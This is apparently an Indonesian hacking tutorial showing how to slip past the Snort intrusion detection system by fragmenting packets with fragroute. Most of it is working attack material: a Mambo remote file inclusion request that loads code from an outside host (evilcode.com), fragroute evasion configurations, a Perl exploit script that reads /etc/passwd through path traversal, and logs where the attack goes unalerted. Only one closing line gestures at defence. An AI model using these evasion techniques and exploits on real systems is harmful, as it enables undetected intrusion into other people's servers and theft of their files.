IP FRAGMENTATION FOR EVADING NIDS By : LoneEagle || king_purba@yahoo.co.uk Introduction ------------ NIDS pada umumnya bekerja dilayer 2 OSI, NIDS menggunakan "raw traffic" dari proses sniffing kemudian mencocokkannya dengan rule intrussion yang dibuat oleh seorang admin. Jika ada kecocokan antara rule dengan raw tra ffic hasil sniffing paket, NIDS memberikan alert/peringatan sebagai tanda adanya proses intrusi ke sistem. Seorang attacker dapat memotong - motong paket IP menjadi bagian kecil kemudian mengacak paket tersebut secara random untuk dikirim ke server target, sedangkan server yang menjadi destination harus bertanggung jawab dalam proses reassembly paket. Tentu saja dengan cara seperti ini attack er dapat melewati monitoring NIDS sehingga tidak ada warning dari snort saat pelanggaran sekuritas terjadi. Requirements ------------- Pada tulisan ini penulis menggunakan dua buah mesin unix, mesin A adalah mesin attacker beralamat 172.16.11.234 dilengkapi dengan "fragroute" dan mesin T adalah mesin target yang beralamat 172.16.11.103 dilengkapi dengan NIDS "snort" versi 2.6.0 IP Fragmentation Attack ------------------------ Penulis menggunakan sebuah contoh melewati NIDS yang memfilter attacking terhadap hole mambo index.php remote file inclussion untuk menjelaskan IP fragmentation attack. Berikut request HTTP untuk mengexploitasi hole pada mambo website : GET /index.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS= &mosConfig_absolute_path=http://evilcode.com/inject.txt? (Original advisory hole mambo di http://secunia.com/advisories/18935/) Sebuah rule snort dibuat untuk mendeteksi adanya attacking menggunakan hole mambo diatas. Berikut ini file rule.conf yang digunakan : var HTTP_SERVER 172.16.11.103 alert tcp any any -> $HTTP_SERVER 80 (content: "index.php?_REQUEST=\ [option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=\ http\://"; msg: "Attacking Website Using Remote File Inclussion in Mamboo";) Jalankan snort dengan mode IDS untuk mendeteksi adanya malicious request #snort -d -c rule.conf & Saat seorang attacker merequest dengan malicious request HTTP untuk meng ekploitasi mambo, snort akan segera memberikan peringatan berikut: #tail -f /var/log/snort/alert [**] [1:0:0] Attacking Website Using Remote File Inclussion in Mamboo [**] [Priority: 0] 08/11-13:31:41.222444 172.16.11.234:7205 -> 172.16.11.103:80 TCP TTL:64 TOS:0x10 ID:3625 IpLen:20 DgmLen:181 DF ***AP*** Seq: 0xAB4A2BB9 Ack: 0x9F5B3AE0 Win: 0x4000 TcpLen: 32 TCP Options (3) => NOP NOP TS: 1886825653 577596608 Snort memberikan warning karena adanya kesamaan pola request HTTP dengan rule yang digunakan oleh snort. Lalu bagaimana cara menghindari monitoring snort?. Seperti telah disinggung diawal attacker dapat memfragmentasi pa ket IP kemudian mengirimkannya secara acak kepada target. Snort tidak men deteksi adanya attacking karena tidak ada kesamaan pola request dengan rule. Sistem target harus bertanggung jawab dalam proses reassembly paket dan men jawab request attacker, sehingga attacker dapat mengexploitasi target tanpa terdeteksi oleh snort. Penulis menggunakan fragroute untuk mengirimkan req uest HTTP terfragmentasi ke target dengan rule frag.conf berikut : ip_frag 8 order random print Rule diatas digunakan untuk memecah/memfragmentasi data dalam paket IP men jadi 8 bytes dan mengirimkan fragmen - fragmen paket IP tersebut secara acak kepada target. Untuk lebih jelasnya bagaimana membuat rule fragroute silakan dibaca manualnya. (rule "print" tidak berhubungan dalam proses pe ngiriman paket IP hanya untuk mencetak proses fragroute ke stdout). Jalan kan fragroute di mesin attacker dengan target mesin 172.16.11.103. #./fragroute -f frag.conf 172.16.11.103 Dengan menggunakan rule fragroute diatas paket data yang dikirim dalam frag men - fragmen paket sebagai berikut : (Analisis paket menggunakan ethereal) Original request GET /index.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS= &mosConfig_absolute_path=http://evilcode.com/inject.txt? Karena aturan di rule fragroute memfragmentasi paket menjadi 8 bytes request menjadi : GET /ind ex.php?_ REQUEST[ option]= com_cont ent&_REQ USET[Ite -------- -------- -------- -------- -------- -------- -------- frag-1 frag-2 frag-3 frag-4 frag-5 frag-6 frag-7 mid]=1&G LOBALS=& mosConfi g_absolu te_path= http://e vilcode. -------- -------- -------- -------- -------- -------- -------- frag-8 frag-9 frag-10 frag-11 frag-12 frag-13 frag-14 com/inje ct.txt? -------- ------- frag-15 frag-16 Kemudian karena rule fragroute "order random", paket IP yang terfragmentasi tadi dikirim secara acak sehingga berbeda sekali dengan request aslinya.Se telah dirandom, berdasar analisis ethereal paket IP yang dikirim menjadi seba gai berikut : ex.php?_ te_path= mid]=1&G mosConfi ct.txt? UEST[Ite g_absolu -------- -------- -------- -------- ------- -------- --------- frag-1 frag-2 frag-3 frag-4 frag-5 frag-6 frag-7 option]= LOBALS=& http://e com_cont vilcode. ent&_REQ GET /ind -------- -------- -------- -------- -------- -------- -------- frag-8 frag-9 frag-10 frag-11 frag-12 frag-13 frag-14 REQUEST[ com/inje -------- -------- frag-15 frag-16 Dengan kondisi paket seperti itu NIDS yang bekerja dilayer 2 dengan menganali sis raw traffic menjadi tidak bisa mengenali request yang dikirim oleh attacker. Oleh sebab itu tidak ada warning sama sekali dari NIDS mengenai adanya attack ing melalui mambo remote file inclussion. [ PoC UPDATE By Ph03n1X ] Okee... deghh kalo contoh diatas mungkin masih cukup mengambang, apalagi Jika web attacking dilakukan lewat browser, dimungkinkan attacking ga akan jalan jika paket IP di fragmentasi. Untuk menyederhanakan pemahaman Web attacking dengan IP fragmentasi untuk melewati IDS, berikut sebuah PoC sederhana local file inclussion menggunakan socket perl : TARGET ------- TARGET WEB BER IP 172.16.11.234 Vulnerable File http://172.16.11.234/test/cmd.php cmd.php seperti berikut : Mal Request Untuk ngedapetin /etc/passwd http://172.16.11.234/test/cmd.php?cmd=../../../../../../../../../../etc/passwd Snort Rule : include classification.config preprocessor frag2 alert tcp any any -> $HTTP_SERVERS 80 (content: "/etc/passwd"; msg: "/etc/passwd inclussion";\ classtype:attempted-admin; flow:established,to_server; rev:8;) ATTACKER --------- ATTCKER IP 172.16.11.119 Socket exploits pake perl sebagai berikut xplo.pl #!/usr/bin/perl -w print "PoC Evading NIDS via socket\n"; if(!$ARGV[0]) { print "Xplo Code by Ph03n1X || http://kandangjamur.net/\n"; print "Gunakan : $0 \n\n"; exit; } use IO::Socket; $server = $ARGV[0]; $socket = new IO::Socket::INET( Proto => "tcp", PeerAddr => $server, PeerPort => "80", ); print $socket "GET /test/cmd.php?cmd=../../../../../../../../../../etc/passwd\r\nHTTP/1.1\r\nHost: $server\r\n\r\n\r\n"; while ( <$socket> ){ print; } close $socket; A. Attacking tanpa fragmentasi IP ATTACKER --------- [novice@komputer19 google]$ perl xplo.pl 172.16.11.234 PoC Evading NIDS via socket root:*:0:0:Charlie &:/root:/bin/bash daemon:*:1:1:The devil himself:/root:/sbin/nologin operator:*:2:5:System &:/operator:/sbin/nologin bin:*:3:7:Binaries Commands and Source,,,:/:/sbin/nologin smmsp:*:25:25:Sendmail Message Submission Program:/nonexistent:/sbin/nologin popa3d:*:26:26:POP3 Server:/var/empty:/sbin/nologin sshd:*:27:27:sshd privsep:/var/empty:/sbin/nologin _portmap:*:28:28:portmap:/var/empty:/sbin/nologin _identd:*:29:29:identd:/var/empty:/sbin/nologin _rstatd:*:30:30:rpc.rstatd:/var/empty:/sbin/nologin _rusersd:*:32:32:rpc.rusersd:/var/empty:/sbin/nologin _fingerd:*:33:33:fingerd:/var/empty:/sbin/nologin _x11:*:35:35:X Server:/var/empty:/sbin/nologin _kdc:*:59:59:Kerberos Server:/var/empty:/sbin/nologin _kadmin:*:60:60:Kerberos Admin Server:/var/empty:/sbin/nologin _spamd:*:62:62:Spam Daemon:/var/empty:/sbin/nologin uucp:*:66:1:UNIX-to-UNIX Copy:/var/spool/uucppublic:/usr/libexec/uucp/uucico www:*:67:67:HTTP Server:/var/www:/sbin/nologin _isakmpd:*:68:68:isakmpd privsep:/var/empty:/sbin/nologin named:*:70:70:BIND Name Service Daemon:/var/named:/sbin/nologin proxy:*:71:71:Proxy Services:/nonexistent:/sbin/nologin _syslogd:*:73:73:Syslog Daemon:/var/empty:/sbin/nologin _pflogd:*:74:74:pflogd privsep:/var/empty:/sbin/nologin _bgpd:*:75:75:BGP Daemon:/var/empty:/sbin/nologin _tcpdump:*:76:76:tcpdump privsep:/var/empty:/sbin/nologin _dhcp:*:77:77:DHCP programs:/var/empty:/sbin/nologin _mopd:*:78:78:MOP Daemon:/var/empty:/sbin/nologin _tftpd:*:79:79:TFTP Daemon:/var/empty:/sbin/nologin _rbootd:*:80:80:rbootd Daemon:/var/empty:/sbin/nologin _afs:*:81:81:afs Daemon:/var/empty:/sbin/nologin _ppp:*:82:82:PPP utilities:/var/empty:/sbin/nologin _ntp:*:83:83:NTP Daemon:/var/empty:/sbin/nologin _ftp:*:84:84:FTP Daemon:/var/empty:/sbin/nologin _ospfd:*:85:85:OSPF Daemon:/var/empty:/sbin/nologin _hostapd:*:86:86:HostAP Daemon:/var/empty:/sbin/nologin nobody:*:32767:32767:Unprivileged user:/nonexistent:/sbin/nologin [novice@komputer19 google]$ Oke, exploitasi sukses ;) TARGET ------- # tail -f /var/log/snort/alert [**] [1:0:8] /etc/passwd inclussion [**] [Classification: Attempted Administrator Privilege Gain] [Priority: 1] 11/05-16:32:31.870052 172.16.11.119:33529 -> 172.16.11.234:80 TCP TTL:64 TOS:0x0 ID:47591 IpLen:20 DgmLen:151 DF ***AP*** Seq: 0x8ECD818F Ack: 0xFC1975FA Win: 0x5B4 TcpLen: 32 TCP Options (3) => NOP NOP TS: 87046254 1680097719 Well, deteksi attacking sukses!! B. Attacking Menggunakan Fragmentasi IP ATTACKER DI WINDOW 1 --------------------- [root@komputer19 fragroute-1.2]#cat f.conf tcp_seg 8 order random print [root@komputer19 fragroute-1.2]# ./fragroute -f f.conf 172.16.11.234 fragroute: tcp_seg -> order -> print Buka window shell baru ATTACKER DI WINDOW 2 --------------------- [novice@komputer19 google]$ perl xplo.pl 172.16.11.234 PoC Evading NIDS via socket root:*:0:0:Charlie &:/root:/bin/bash daemon:*:1:1:The devil himself:/root:/sbin/nologin operator:*:2:5:System &:/operator:/sbin/nologin bin:*:3:7:Binaries Commands and Source,,,:/:/sbin/nologin smmsp:*:25:25:Sendmail Message Submission Program:/nonexistent:/sbin/nologin popa3d:*:26:26:POP3 Server:/var/empty:/sbin/nologin sshd:*:27:27:sshd privsep:/var/empty:/sbin/nologin _portmap:*:28:28:portmap:/var/empty:/sbin/nologin _identd:*:29:29:identd:/var/empty:/sbin/nologin _rstatd:*:30:30:rpc.rstatd:/var/empty:/sbin/nologin _rusersd:*:32:32:rpc.rusersd:/var/empty:/sbin/nologin _fingerd:*:33:33:fingerd:/var/empty:/sbin/nologin _x11:*:35:35:X Server:/var/empty:/sbin/nologin _kdc:*:59:59:Kerberos Server:/var/empty:/sbin/nologin _kadmin:*:60:60:Kerberos Admin Server:/var/empty:/sbin/nologin _spamd:*:62:62:Spam Daemon:/var/empty:/sbin/nologin uucp:*:66:1:UNIX-to-UNIX Copy:/var/spool/uucppublic:/usr/libexec/uucp/uucico www:*:67:67:HTTP Server:/var/www:/sbin/nologin _isakmpd:*:68:68:isakmpd privsep:/var/empty:/sbin/nologin named:*:70:70:BIND Name Service Daemon:/var/named:/sbin/nologin proxy:*:71:71:Proxy Services:/nonexistent:/sbin/nologin _syslogd:*:73:73:Syslog Daemon:/var/empty:/sbin/nologin _pflogd:*:74:74:pflogd privsep:/var/empty:/sbin/nologin _bgpd:*:75:75:BGP Daemon:/var/empty:/sbin/nologin _tcpdump:*:76:76:tcpdump privsep:/var/empty:/sbin/nologin _dhcp:*:77:77:DHCP programs:/var/empty:/sbin/nologin _mopd:*:78:78:MOP Daemon:/var/empty:/sbin/nologin _tftpd:*:79:79:TFTP Daemon:/var/empty:/sbin/nologin _rbootd:*:80:80:rbootd Daemon:/var/empty:/sbin/nologin _afs:*:81:81:afs Daemon:/var/empty:/sbin/nologin _ppp:*:82:82:PPP utilities:/var/empty:/sbin/nologin _ntp:*:83:83:NTP Daemon:/var/empty:/sbin/nologin _ftp:*:84:84:FTP Daemon:/var/empty:/sbin/nologin _ospfd:*:85:85:OSPF Daemon:/var/empty:/sbin/nologin _hostapd:*:86:86:HostAP Daemon:/var/empty:/sbin/nologin nobody:*:32767:32767:Unprivileged user:/nonexistent:/sbin/nologin [novice@komputer19 google]$ Oke, exploitasi sukses ;) TARGET ------- # tail -f /var/log/snort/alert (Kosong) Attacking ga kedeteksi ;) Nahhhh, Kalo attacking web lewat browser pake fragmentasi IP emang sulit Tapi kalo lewat socket masih bisa, so be carefull with ur NIDS ;) Reference ---------- 1. http://www.sans.org/resources/idfaq/fragroute.php 2. http://seclists.org/lists/security-basics/2005/Apr/0015.html 3. http://www.monkey.org/~dugsong/fragroute/fragroute.8.txt 4. http://www.securityfocus.com/infocus/1577 5. Snort Documentation di http://snort.org